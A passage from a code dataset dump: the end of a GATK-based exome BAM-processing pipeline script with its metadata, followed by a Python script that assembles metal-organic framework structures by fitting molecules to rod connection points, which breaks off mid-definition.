--disable_auto_index_creation_and_locking_when_reading_rods -nct 8 -I {} -R {}\" \\\n \" -BQSR {} -o {} -rf BadCigar {}\".format(tmpdir, input, ref, recaldata, recal, coverage)\n cmd += '\\nrm {} {} {}\\n'.format(recaldata, input, input.replace('.bam', '.bai'))\n cmd += '\\nrm -rf {}'.format(tmpdir)\n\n return qsub.qsub('BQSR_' + sample, cmd, modules=modules, waitlist=wait, other='cpu=8|mem=12gb|walltime=72:00:00', **other_qsub_options)\n\n\ndef process_bam(source, outputdir, samples, smalldataset=False, bed=None, dbsnp=None, species='Human',\n coverage=None, waitlist=None, no_markdup=False, **other_qsub_options):\n if isinstance(samples, str):\n samples = [samples]\n\n wait = None\n remove_source = False\n if not no_markdup:\n wait = []\n remove_source = True\n for sample in samples:\n wait.append(mark_duplicate(source, outputdir, sample, waitlist=waitlist, **other_qsub_options))\n else:\n wait = waitlist\n\n indel_wait = []\n dup_source = source if no_markdup else outputdir\n extension = '.bam' if no_markdup else '.dedup.bam'\n indel_wait.append(\n indel_realignment(dup_source, outputdir, samples, bed, dbsnp, species, coverage, smalldataset, waitlist=wait,\n extension=extension, remove_source=remove_source, **other_qsub_options))\n bqsr_wait = []\n if not smalldataset:\n extension = '.dedup.realigned.bam' if not no_markdup else '.realigned.bam'\n for sample in samples:\n bqsr_wait.append(\n bqsr(outputdir, sample, bed, dbsnp, species, coverage, extension=extension, waitlist=indel_wait,\n **other_qsub_options))\n\n return bqsr_wait + indel_wait\n\n\nif __name__ == '__main__':\n args = init()\n if args.ini:\n pmgctools.read_vars(args.ini)\n pmgctools.check_vars(['gatk', 'samtools', 'picard', 'REF'])\n source, outputdir, config, log, qsubdir, dry, dbsnp, bed, species, coverage, smalldataset, config = args.source, \\\n args.output, args.config, args.log, args.qsub, args.dry, args.dbsnp, args.bed, args.species, args.coverage, \\\n args.bqsr, args.config\n # species command line > INI file, default: HUMAN\n if not species:\n species = pmgctools.get_var('SPECIES')\n if not species:\n species = 'HUMAN'\n\n remove_source = False if args.no_markdup else True\n\n if config is None:\n bams = glob.glob(os.path.join(source, '*.bam'))\n for bamfile in bams:\n sample = os.path.basename(bamfile)[:-4] # remove .bam\n process_bam(source=source, outputdir=outputdir, samples=sample, smalldataset=smalldataset, bed=bed,\n dbsnp=dbsnp, species=species, no_markdup=args.no_markdup,\n coverage=coverage, log=log, qsub=qsubdir, dry=dry, queue=args.queue)\n\n else:\n with open(config) as f:\n for line in f:\n samples = line.rstrip().replace('.bam', '').replace('Sample_', '').replace(',', ' ').split()\n process_bam(source=source, outputdir=outputdir, samples=samples, smalldataset=smalldataset, bed=bed,\n dbsnp=dbsnp, species=species, no_markdup=args.no_markdup,\n coverage=coverage, log=log, qsub=qsubdir, dry=dry, queue=args.queue)\n", "sub_path": "RNAseq-Exome-snakemake/pugh_exome_pipeline/process_bam.py", "file_name": "process_bam.py", "file_ext": "py", "file_size_in_byte": 14993, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 33, "usage_type": "call"}, {"api_name": "pmgctools.check_vars", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pmgctools.tmpdir", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path", "line_number": 81, "usage_type": "attribute"}, {"api_name": "pmgctools.get_var", "line_number": 82, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "qsub.qsub", "line_number": 90, "usage_type": "call"}, {"api_name": "pmgctools.check_vars", "line_number": 109, "usage_type": "call"}, {"api_name": "pmgctools.get_var", "line_number": 111, "usage_type": "call"}, {"api_name": "pmgctools.check_vars", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "pmgctools.tmpdir", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 120, "usage_type": "call"}, {"api_name": "os.path", "line_number": 120, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pmgctools.check_vars", "line_number": 123, "usage_type": "call"}, {"api_name": "pmgctools.get_var", "line_number": 125, "usage_type": "call"}, {"api_name": "pmgctools.get_var", "line_number": 128, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 148, "usage_type": "call"}, {"api_name": "os.path", "line_number": 148, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 154, "usage_type": "call"}, {"api_name": "qsub.qsub", "line_number": 176, "usage_type": "call"}, {"api_name": "pmgctools.check_vars", "line_number": 194, "usage_type": "call"}, {"api_name": "pmgctools.check_vars", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 197, "usage_type": "call"}, {"api_name": "os.path", "line_number": 197, "usage_type": "attribute"}, {"api_name": "pmgctools.tmpdir", "line_number": 197, "usage_type": "call"}, {"api_name": "pmgctools.get_var", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path", "line_number": 212, "usage_type": "attribute"}, {"api_name": "pmgctools.check_vars", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 216, "usage_type": "call"}, {"api_name": "os.path", "line_number": 216, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 229, "usage_type": "call"}, {"api_name": "os.path", "line_number": 229, "usage_type": "attribute"}, {"api_name": "qsub.qsub", "line_number": 235, "usage_type": "call"}, {"api_name": "pmgctools.read_vars", "line_number": 273, "usage_type": "call"}, {"api_name": "pmgctools.check_vars", "line_number": 274, "usage_type": "call"}, {"api_name": "pmgctools.get_var", "line_number": 280, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 287, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 287, "usage_type": "call"}, {"api_name": "os.path", "line_number": 287, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 289, "usage_type": "call"}, {"api_name": "os.path", "line_number": 289, "usage_type": "attribute"}]} {"seq_id": "551513810", "text": "#! /usr/bin/env python\n\n# local modules\nfrom SVD_transform import transform_data as svd\nfrom molecule import Molecule\nfrom framework import Framework\nimport transformations as trans\n\n# specialty modules\nfrom deap import creator, base, tools, algorithms\n\n# standard modules\nimport numpy as np\nimport math\nimport scipy.optimize\nfrom copy import deepcopy\n\ndef parse_input():\n\n inputfile = open(\"onedMOF.input\", \"r\")\n lines = inputfile.readlines()\n\n reading_rods = False\n reading_cxns = False\n\n for i in range(len(lines)):\n parsed = lines[i].strip().split()\n\n if(parsed[0] == \"Framework\"):\n framework_name = parsed[1]\n continue\n elif(parsed[0] == \"Molecule\"):\n molecule_name = parsed[1]\n continue\n elif(parsed[0] == \"Dimensionality\"):\n dimensionality = int(parsed[1])\n continue\n\n if(parsed[0] == \"Rods\"):\n num_rods = int(parsed[1])\n reading_rods = True\n rods = [[] for i in range(num_rods)]\n rod_centers = [[[],[],[]] for i in range(num_rods)]\n #print(rods)\n continue\n\n elif(parsed[0] == \"Connections\"):\n num_cxns = int(parsed[1])\n reading_rods = False\n reading_cxns = True\n cxns = [[] for i in range(num_cxns)]\n connect_to_rod = [[] for i in range(num_cxns)]\n #print(cxns)\n continue\n\n\n if(reading_rods):\n if(parsed[0] == \"Rod\"):\n curr_rod_index = int(parsed[1])\n rod_centers[curr_rod_index][0] = float(parsed[2])\n rod_centers[curr_rod_index][1] = float(parsed[3])\n rod_centers[curr_rod_index][2] = float(parsed[4])\n #print(curr_rod_index)\n else:\n #print(curr_rod_index)\n rods[curr_rod_index].append(int(parsed[1]))\n\n elif(reading_cxns):\n if(parsed[0] == \"Connection\"):\n curr_cxn_index = int(parsed[1])\n else:\n cxns[curr_cxn_index].append(int(parsed[1]))\n\n valid_connect = False\n for i in range(len(rods)):\n if(int(parsed[1]) in rods[i]):\n connect_to_rod[curr_cxn_index].append(i)\n valid_connect = True\n break\n\n if(not valid_connect):\n raise ValueError(\"Error! Connection atom index (%s) does not match any index on the specified rods\")\n\n \n\n return framework_name, molecule_name, dimensionality, rods, rod_centers, cxns, connect_to_rod\n\n \n\n\nclass Assembly(object):\n\n def __init__(self, framework_name, molecule_name, dimensionality, \n rods, rod_centers, cxns, connect_to_rod):\n\n # Initializations of necessary data structs\n self.frame = Framework(framework_name)\n self.mol = Molecule(molecule_name)\n self.oned_direct = dimensionality\n self.twod_direct = []\n for i in range(0,3):\n if(i != self.oned_direct):\n self.twod_direct.append(i)\n # NOTE may need to increase this depending on whether \n self.dc_ints = [-2, -1, 0, 1, 2]\n self.rods = rods\n self.rod_centers = rod_centers\n self.cxns = cxns\n self.connect_to_rod = connect_to_rod\n \n # compute necessary quantities for optimization from inputs\n self.get_rod_coords()\n self.get_cxn_coords()\n self.prepare_opt_vars()\n self.print_initialization()\n\n # run optimization\n self.get_starting_trans_guess()\n self.get_starting_SVD_guess()\n self.run_optimization_stochastic()\n\n #self.run_optimization_GA()\n\n # output results\n self.write_results()\n\n # construct and write new unit cell to file\n self.construct_final_UC()\n\n\n def get_rod_coords(self):\n # NOTE for now we have to identify rod centers in input file\n self.rod_centers_abc = [] \n self.rod_centers_xyz = [] \n\n self.rod_coords_abc = []\n self.rod_coords_xyz = []\n self.rod_atmtype = []\n\n self.rod_ref_abc = []\n self.rod_ref_xyz = []\n\n self.rod_disp_abc = []\n self.rod_disp_xyz = []\n\n\n for i in range(len(rods)):\n # NOTE for now we have to identify rod centers in input file\n self.rod_centers_abc.append(np.array(self.rod_centers[i]))\n self.rod_centers_xyz.append(np.dot(self.frame.to_cartesian, np.array(self.rod_centers[i])))\n\n this_rod_abc = np.zeros((3,len(self.rods[i])))\n this_rod_xyz = np.zeros((3,len(self.rods[i])))\n this_rod_atmtype = np.empty((len(self.rods[i])),dtype='|S2')\n \n this_rod_ref_abc = np.zeros((3,len(rods[i])))\n this_rod_ref_xyz = np.zeros((3,len(rods[i])))\n\n this_rod_disp_abc = np.zeros((3,len(rods[i])))\n this_rod_disp_xyz = np.zeros((3,len(rods[i])))\n\n\n for j in range(len(rods[i])):\n this_rod_abc[0,j] = self.frame.ra[rods[i][j]]\n this_rod_abc[1,j] = self.frame.rb[rods[i][j]]\n this_rod_abc[2,j] = self.frame.rc[rods[i][j]]\n\n this_rod_xyz[0,j] = self.frame.rx[rods[i][j]]\n this_rod_xyz[1,j] = self.frame.ry[rods[i][j]]\n this_rod_xyz[2,j] = self.frame.rz[rods[i][j]]\n this_rod_atmtype[j] = str(self.frame.atmtype[rods[i][j]])\n\n this_rod_ref_abc[0,j] = self.rod_centers_abc[i][0]\n this_rod_ref_abc[1,j] = self.rod_centers_abc[i][1]\n this_rod_ref_abc[2,j] = self.rod_centers_abc[i][2]\n\n # we have the added complication of rods straddling the PB\n # in this case our ref pt must be defined as center coord that is the closest\n # periodic image, otherwise it won't work\n if(math.fmod(self.rod_centers_abc[i][self.twod_direct[0]],1.0) == 0.0):\n if(this_rod_abc[self.twod_direct[0],j] < 0.5):\n this_rod_ref_abc[self.twod_direct[0], j] = 0.0\n else:\n this_rod_ref_abc[self.twod_direct[0], j] = 1.0\n\n if(math.fmod(self.rod_centers_abc[i][self.twod_direct[1]],1.0) == 0.0):\n if(this_rod_abc[self.twod_direct[1],j] < 0.5):\n this_rod_ref_abc[self.twod_direct[1], j] = 0.0\n else:\n this_rod_ref_abc[self.twod_direct[1], j] = 1.0\n\n this_rod_ref_abc[self.oned_direct, j] = this_rod_abc[self.oned_direct, j]\n \n this_rod_ref_xyz = np.dot(self.frame.to_cartesian, this_rod_ref_abc) \n \n \n #this_triclinic_shift = self.compute_triclinic_xyz_shift(this_cxn_abc[self.oned_direct,j])\n #this_cxn_disp_xyz[:,j] = this_cxn_xyz[:,j] - this_triclinic_shift\n this_rod_disp_xyz[:,j] = this_rod_xyz[:,j] - this_rod_ref_xyz[:,j]\n\n #this_cxn_disp_xyz[self.twod_direct[0],j] += this_triclinic_shift[self.twod_direct[0]] \n #this_cxn_disp_xyz[self.twod_direct[1],j] += this_triclinic_shift[self.twod_direct[1]] \n\n\n self.rod_coords_abc.append(this_rod_abc)\n self.rod_coords_xyz.append(this_rod_xyz)\n self.rod_atmtype.append(this_rod_atmtype)\n\n self.rod_ref_abc.append(this_rod_ref_abc)\n self.rod_ref_xyz.append(this_rod_ref_xyz)\n\n self.rod_disp_xyz.append(this_rod_disp_xyz)\n\n\n\n\n def get_cxn_coords(self):\n self.cxn_abc = []\n self.cxn_xyz = []\n\n self.cxn_center_abc = []\n self.cxn_center_xyz = []\n\n self.cxn_ref_abc = []\n self.cxn_ref_xyz = []\n\n self.cxn_disp_abc = []\n self.cxn_disp_xyz = []\n\n for i in range(len(cxns)):\n this_cxn_abc = np.zeros((3,len(cxns[i])))\n this_cxn_xyz = np.zeros((3,len(cxns[i])))\n\n this_cxn_ref_abc = np.zeros((3,len(cxns[i])))\n this_cxn_ref_xyz = np.zeros((3,len(cxns[i])))\n\n this_cxn_disp_abc = np.zeros((3,len(cxns[i])))\n this_cxn_disp_xyz = np.zeros((3,len(cxns[i])))\n \n for j in range(len(cxns[i])):\n\n rod_ind = self.connect_to_rod[i][j] \n\n this_cxn_abc[0,j] = self.frame.ra[cxns[i][j]]\n this_cxn_abc[1,j] = self.frame.rb[cxns[i][j]]\n this_cxn_abc[2,j] = self.frame.rc[cxns[i][j]]\n\n this_cxn_xyz[0,j] = self.frame.rx[cxns[i][j]]\n this_cxn_xyz[1,j] = self.frame.ry[cxns[i][j]]\n this_cxn_xyz[2,j] = self.frame.rz[cxns[i][j]]\n\n this_cxn_ref_abc[0,j] = self.rod_centers_abc[rod_ind][0]\n this_cxn_ref_abc[1,j] = self.rod_centers_abc[rod_ind][1]\n this_cxn_ref_abc[2,j] = self.rod_centers_abc[rod_ind][2]\n\n\n # we have the added complication of rods straddling the PB\n # in this case our ref pt must be defined as center coord that is the closest\n # periodic image, otherwise it won't work\n if(math.fmod(self.rod_centers_abc[rod_ind][self.twod_direct[0]],1.0) == 0.0):\n if(this_cxn_abc[self.twod_direct[0],j] < 0.5):\n this_cxn_ref_abc[self.twod_direct[0], j] = 0.0\n else:\n this_cxn_ref_abc[self.twod_direct[0], j] = 1.0\n\n if(math.fmod(self.rod_centers_abc[rod_ind][self.twod_direct[1]],1.0) == 0.0):\n if(this_cxn_abc[self.twod_direct[1],j] < 0.5):\n this_cxn_ref_abc[self.twod_direct[1], j] = 0.0\n else:\n this_cxn_ref_abc[self.twod_direct[1], j] = 1.0\n\n this_cxn_ref_abc[self.oned_direct, j] = this_cxn_abc[self.oned_direct, j]\n \n this_cxn_ref_xyz = np.dot(self.frame.to_cartesian, this_cxn_ref_abc) \n \n \n #this_triclinic_shift = self.compute_triclinic_xyz_shift(this_cxn_abc[self.oned_direct,j])\n #this_cxn_disp_xyz[:,j] = this_cxn_xyz[:,j] - this_triclinic_shift\n this_cxn_disp_xyz[:,j] = this_cxn_xyz[:,j] - this_cxn_ref_xyz[:,j]\n\n #this_cxn_disp_xyz[self.twod_direct[0],j] += this_triclinic_shift[self.twod_direct[0]] \n #this_cxn_disp_xyz[self.twod_direct[1],j] += this_triclinic_shift[self.twod_direct[1]] \n\n self.cxn_abc.append(this_cxn_abc)\n self.cxn_xyz.append(this_cxn_xyz)\n\n self.cxn_center_xyz.append(np.array([np.average(this_cxn_xyz[0,:]),\n np.average(this_cxn_xyz[1,:]),\n np.average(this_cxn_xyz[2,:])]))\n\n self.cxn_ref_abc.append(this_cxn_ref_abc)\n self.cxn_ref_xyz.append(this_cxn_ref_xyz)\n\n self.cxn_disp_xyz.append(this_cxn_disp_xyz)\n\n\n\n\n def compute_triclinic_xyz_shift(self, oned_abc_coord):\n \"\"\"\n Triclinic shift refers to the shift in twod_direct coordinates that is induced\n by a non-90 deg angle in the direction of oned_direct\n\n This shift must be accounted for because we are going to optimize rod positions\n in the oned_direct, which means that triclinic shift will change throughout the optimization\n \"\"\"\n\n shift_vec = np.array([0.0,0.0,0.0])\n\n shift_vec[self.oned_direct] = oned_abc_coord\n\n\n shift_vec = np.dot(self.frame.to_cartesian, shift_vec)\n #print(\"%f %s\" % (oned_abc_coord, str(shift_vec)))\n return shift_vec\n \n \n\n\n\n\n\n\n def print_initialization(self):\n print(\"Preparing optimization...\")\n print(\"Framework: %s\\nMolecule: %s\\nDirection of 1D: %s\\nDirections of expansion: %s\" %\n (self.frame.name, self.mol.name, self.oned_direct, self.twod_direct))\n\n print(\"\\n\\n\\nRod groups:\")\n for i in range(len(rods)):\n print(\"Rod: %d -> abc: %s -> xyz: %s\" % (i, str(self.rod_centers_abc[i]), str(self.rod_centers_xyz[i])))\n\n print(\"\\n\\n\\nConnection groups:\")\n for i in range(len(cxns)):\n print(\"\\n\\nGroup: %d\" % (i))\n print(\"Has centroid of -> xyz: %s\" % (self.cxn_center_xyz[i]))\n for j in range(len(cxns[i])):\n print(\"\\nAtom %i -> rod %d -> abc: %s -> xyz: %s\" % \n (self.cxns[i][j], self.connect_to_rod[i][j], str(self.cxn_abc[i][:,j]),\n str(self.cxn_xyz[i][:,j])))\n\n print(\"Maps to ref pt of abc: %s -> xyz: %s\" % (self.cxn_ref_abc[i][:,j],\n self.cxn_ref_xyz[i][:,j]))\n print(\"Displacement from ref pt: %s\" % (self.cxn_disp_xyz[i][:,j]))\n\n\n\n print(\"\\n\\n\\nMolecule info:\")\n print(\"Has centroid of -> xyz: %s\" % (self.mol.center))\n for j in range(np.shape(self.mol.cxns)[1]):\n print(\"Conn %i -> xyz: %s\" % (j, str(self.mol.cxns[:,j])))\n \n print(\"Permutations btwn mol cxns and rod cxns:\")\n for it in self.mol.permutations:\n print(it)\n\n #print(np.dot(self.frame.to_cartesian, np.array([0.547573,0.911527,0.531949])))\n #print(np.dot(self.frame.to_cartesian, np.array([0.0,0.0,2.0])))\n #print(self.compute_triclinic_xyz_shift(2.0))\n\n\n def shift_group_in_oned(self):\n \"\"\"\n This fcn is important bc we need to inspect different integer images in the oned_direct\n sometimes when evaluating fits\n \"\"\"\n pass\n\n\n def orient_cxn_and_translate(self, xuse, index = None):\n\n oriented = []\n if(index == None):\n for i in range(len(self.cxns)):\n conn_start_ind = 1 + len(self.rods) + i*6\n rot_from_angles = trans.compose_matrix(angles = xuse[conn_start_ind:conn_start_ind+3])[0:4,0:4]\n #print(rot_from_angles)\n rot_from_angles[0,3] = xuse[conn_start_ind + 3]\n rot_from_angles[1,3] = xuse[conn_start_ind + 4]\n rot_from_angles[2,3] = xuse[conn_start_ind + 5]\n oriented.append(np.dot(rot_from_angles, self.mol.cxns))\n\n else:\n conn_start_ind = 1 + len(self.rods) + index*6\n rot_from_angles = trans.compose_matrix(angles = xuse[conn_start_ind:conn_start_ind+3])[0:4,0:4]\n #print(rot_from_angles)\n rot_from_angles[0,3] = xuse[conn_start_ind + 3]\n rot_from_angles[1,3] = xuse[conn_start_ind + 4]\n rot_from_angles[2,3] = xuse[conn_start_ind + 5]\n oriented.append(np.dot(rot_from_angles, self.mol.cxns))\n\n return oriented\n \n def orient_molecule_and_translate(self, xuse, index = None):\n\n oriented = []\n if(index == None):\n for i in range(len(self.mol.molecule)):\n conn_start_ind = 1 + len(self.rods) + i*6\n rot_from_angles = trans.compose_matrix(angles = xuse[conn_start_ind:conn_start_ind+3])[0:4,0:4]\n #print(rot_from_angles)\n rot_from_angles[0,3] = xuse[conn_start_ind + 3]\n rot_from_angles[1,3] = xuse[conn_start_ind + 4]\n rot_from_angles[2,3] = xuse[conn_start_ind + 5]\n oriented.append(np.dot(rot_from_angles, self.mol.molecule))\n\n else:\n conn_start_ind = 1 + len(self.rods) + index*6\n rot_from_angles = trans.compose_matrix(angles = xuse[conn_start_ind:conn_start_ind+3])[0:4,0:4]\n #print(rot_from_angles)\n rot_from_angles[0,3] = xuse[conn_start_ind + 3]\n rot_from_angles[1,3] = xuse[conn_start_ind + 4]\n rot_from_angles[2,3] = xuse[conn_start_ind + 5]\n oriented.append(np.dot(rot_from_angles, self.mol.molecule))\n\n return oriented\n\n def get_starting_trans_guess(self):\n \"\"\"\n Match the molecules centroid to the rod cxns centroid\n\n This generally places the molecule in the correct spot for the start of the optimization\n \"\"\"\n\n print(\"Calculating intial translation guess:\")\n\n for i in range(len(self.cxns)):\n conn_start_ind = 1 + len(self.rods) + i*6\n this_cxn_center_xyz = self.cxn_center_xyz[i]\n dx = this_cxn_center_xyz[0] - self.mol.center[0]\n dy = this_cxn_center_xyz[1] - self.mol.center[1]\n dz = this_cxn_center_xyz[2] - self.mol.center[2]\n\n self.opt_vec[conn_start_ind+3] = dx\n self.opt_vec[conn_start_ind+4] = dy\n self.opt_vec[conn_start_ind+5] = dz\n\n print(\"Mol cxn %d -> %f %f %f\" % (i, dx, dy, dz))\n\n\n def get_starting_SVD_guess(self):\n \"\"\"\n Get the affine transformation matrix that best matches the moelcules cxns\n to each rod cxn by SVD\n\n We do a Euclidean (rigid) transform\n \"\"\"\n\n print(\"\\n\\nCalculating intial affine transformations:\")\n print(\"\\n\\nM = affine transformation for best fit of mol cxn -> rod cxn:\")\n for i in range(len(self.cxns)):\n print(\"\\nMol1 -> Rod cxn: %d\" % (i))\n a = self.mol.cxns[0:3,:]\n b = self.cxn_xyz[i]\n\n M = trans.affine_matrix_from_points(a, b, shear = False, scale = False, usesvd = True)\n\n alpha, beta, gamma = trans.euler_from_matrix(M)\n translations = M[0:3,3]\n conn_start_ind = 1 + len(self.rods) + i*6\n self.opt_vec[conn_start_ind+0] = alpha \n self.opt_vec[conn_start_ind+1] = beta \n self.opt_vec[conn_start_ind+2] = gamma \n self.opt_vec[conn_start_ind+3] = translations[0] \n self.opt_vec[conn_start_ind+4] = translations[1]\n self.opt_vec[conn_start_ind+5] = translations[2]\n print(M)\n \n def get_SVD(self):\n \"\"\"\n Get the affine transformation matrix that best matches the moelcules cxns\n to each rod cxn by SVD\n\n We do a Euclidean (rigid) transform\n \"\"\"\n\n print(\"\\n\\nCalculating intial affine transformations:\")\n print(\"\\n\\nM = affine transformation for best fit of mol cxn -> rod cxn:\")\n for i in range(len(self.cxns)):\n for it in self.mol.permutations:\n for dc in self.dc_ints: \n pass\n a = self.mol.cxns[0:3,:]\n b = self.cxn_xyz[i]\n\n M = trans.affine_matrix_from_points(a, b, shear = False, scale = False, usesvd = True)\n\n alpha, beta, gamma = trans.euler_from_matrix(M)\n translations = M[0:3,3]\n conn_start_ind = 1 + len(self.rods) + i*6\n self.opt_vec[conn_start_ind+0] = alpha \n self.opt_vec[conn_start_ind+1] = beta \n self.opt_vec[conn_start_ind+2] = gamma \n self.opt_vec[conn_start_ind+3] = translations[0] \n self.opt_vec[conn_start_ind+4] = translations[1]\n self.opt_vec[conn_start_ind+5] = translations[2]\n print(M)\n \n\n\n def construct_curr_UC(self, xuse):\n \"\"\"\n Creates the current representation of the unit cell so that we can\n evaluate how well the components are embedded in 3 space\n\n NOTE: we may have to break this optimization into several pieces:\n (1) determine embedding by fitting one molecule\n (2) only optimize the remaining molecule orientations/translations with the fixed\n embedding variables (F, {dCs})\n \"\"\"\n\n # Steps to reconstruct unit cell\n # 1: stasrt with opt_vec[0] (F) and opt_vec[1:n_rods] (set of dCs)\n # 2: recompute cxn points based on F and dCs\n\n # recompute UC matrix transformation based on current scale factor\n to_cartesian = self.frame.update_UC_matrix(xuse[0], self.twod_direct)\n to_fractional = np.linalg.inv(to_cartesian)\n\n # get the current oriented and translated ligands\n oriented = self.orient_cxn_and_translate(xuse)\n\n\n # get final connection pt coords on molecule\n for i in range(len(oriented)):\n oriented[i][0:3,:] = np.dot(to_fractional, oriented[i][0:3,:])\n oriented[i][0:3,:] = self.frame.modGroupUC(oriented[i][0:3,:])\n oriented[i][0:3,:] = np.dot(to_cartesian, oriented[i][0:3,:])\n\n\n final_xyz = []\n #new_abc = np.copy(self.cxn_ref_abc)\n #print(new_abc)\n #print(np.shape(new_abc))\n #print(self.cxn_ref_abc)\n #print(np.shape(self.cxn_ref_abc))\n\n # get final connection pt coords on rod\n for i in range(len(self.cxns)):\n this_new_abc = np.copy(self.cxn_ref_abc[i])\n\n for j in range(len(self.cxns[i])):\n\n # shift ref pt based on curr val of rod shift\n # print(xuse[1 + self.connect_to_rod[i][j]])\n this_new_abc[self.oned_direct,j] += xuse[1 + self.connect_to_rod[i][j]]\n\n\n # get the new xyz\n this_new_xyz = np.dot(to_cartesian, this_new_abc)\n # apply shift (this is the fixed relative positions in rod constraint)\n # non-trivial if we have non perpendicular oned_direct, but we took care of this\n # in self.get_cxn_coords()\n #shifted_xyz = new_xyz + self.cxn_disp_xyz[i][:,j]\n this_shifted_xyz = this_new_xyz + self.cxn_disp_xyz[i]\n\n \n # use modified UC matrix to get back abc coords\n this_shifted_abc = np.dot(to_fractional, this_shifted_xyz)\n # mod cxns back into the UC if they left\n this_modded_abc = self.frame.modGroupUC(this_shifted_abc)\n\n\n # final xyz coords in UC\n this_final_xyz = np.dot(to_cartesian, this_modded_abc)\n final_xyz.append(this_final_xyz)\n\n #print(final_xyz)\n\n # finally evaluate RMSE from all possible permutations\n minRMSE = 0.0\n\n # i indexes the molecule we are fitting\n # need to iterate over this one first bc each molecule could have its own permutation\n # NOTE for now just optiize based on 1 molecule fitting\n for i in range(len(self.cxns)):\n # for i in [1]:\n\n thisMolRMSE = 1000000.0\n\n indOfMinPerm = -1\n currInd = 0\n for it in self.mol.permutations:\n thisPermRMSE = 0.0\n\n # j indexes each connection pt in the molecule\n for j in range(len(self.cxns[i])):\n thisPermRMSE += self.rmse(final_xyz[i][:,j], oriented[i][0:3,it[j]])\n\n\n if(thisPermRMSE < thisMolRMSE):\n thisMolRMSE = float(thisPermRMSE)\n indOfMinPerm = int(currInd)\n currInd += 1\n\n minRMSE += thisMolRMSE\n\n #pass\n #print(\"%d %f\" % (indOfMinPerm, minRMSE))\n return minRMSE\n\n def construct_curr_UC_GA(self, xuse):\n \"\"\"\n Creates the current representation of the unit cell so that we can\n evaluate how well the components are embedded in 3 space\n\n NOTE: we may have to break this optimization into several pieces:\n (1) determine embedding by fitting one molecule\n (2) only optimize the remaining molecule orientations/translations with the fixed\n embedding variables (F, {dCs})\n \"\"\"\n\n # Steps to reconstruct unit cell\n # 1: stasrt with opt_vec[0] (F) and opt_vec[1:n_rods] (set of dCs)\n # 2: recompute cxn points based on F and dCs\n\n # recompute UC matrix transformation based on current scale factor\n to_cartesian = self.frame.update_UC_matrix(xuse[0], self.twod_direct)\n to_fractional = np.linalg.inv(to_cartesian)\n\n # get the current oriented and translated ligands\n oriented = self.orient_cxn_and_translate(xuse)\n\n\n # get final connection pt coords on molecule\n for i in range(len(oriented)):\n oriented[i][0:3,:] = np.dot(to_fractional, oriented[i][0:3,:])\n oriented[i][0:3,:] = self.frame.modGroupUC(oriented[i][0:3,:])\n oriented[i][0:3,:] = np.dot(to_cartesian, oriented[i][0:3,:])\n\n\n final_xyz = []\n #new_abc = np.copy(self.cxn_ref_abc)\n #print(new_abc)\n #print(np.shape(new_abc))\n #print(self.cxn_ref_abc)\n #print(np.shape(self.cxn_ref_abc))\n\n # get final connection pt coords on rod\n for i in range(len(self.cxns)):\n this_new_abc = np.copy(self.cxn_ref_abc[i])\n\n for j in range(len(self.cxns[i])):\n\n # shift ref pt based on curr val of rod shift\n # print(xuse[1 + self.connect_to_rod[i][j]])\n this_new_abc[self.oned_direct,j] += xuse[1 + self.connect_to_rod[i][j]]\n\n\n # get the new xyz\n this_new_xyz = np.dot(to_cartesian, this_new_abc)\n # apply shift (this is the fixed relative positions in rod constraint)\n # non-trivial if we have non perpendicular oned_direct, but we took care of this\n # in self.get_cxn_coords()\n #shifted_xyz = new_xyz + self.cxn_disp_xyz[i][:,j]\n this_shifted_xyz = this_new_xyz + self.cxn_disp_xyz[i]\n\n \n # use modified UC matrix to get back abc coords\n this_shifted_abc = np.dot(to_fractional, this_shifted_xyz)\n # mod cxns back into the UC if they left\n this_modded_abc = self.frame.modGroupUC(this_shifted_abc)\n\n\n # final xyz coords in UC\n this_final_xyz = np.dot(to_cartesian, this_modded_abc)\n final_xyz.append(this_final_xyz)\n\n #print(final_xyz)\n\n # finally evaluate RMSE from all possible permutations\n minRMSE = 0.0\n\n # i indexes the molecule we are fitting\n # need to iterate over this one first bc each molecule could have its own permutation\n # NOTE for now just optiize based on 1 molecule fitting\n for i in range(len(self.cxns)):\n # for i in [1]:\n\n thisMolRMSE = 1000000.0\n\n indOfMinPerm = -1\n currInd = 0\n for it in self.mol.permutations:\n thisPermRMSE = 0.0\n\n # j indexes each connection pt in the molecule\n for j in range(len(self.cxns[i])):\n thisPermRMSE += self.rmse(final_xyz[i][:,j], oriented[i][0:3,it[j]])\n\n\n if(thisPermRMSE < thisMolRMSE):\n thisMolRMSE = float(thisPermRMSE)\n indOfMinPerm = int(currInd)\n currInd += 1\n\n minRMSE += thisMolRMSE\n\n #pass\n #print(\"%d %f\" % (indOfMinPerm, minRMSE))\n return minRMSE,\n\n def 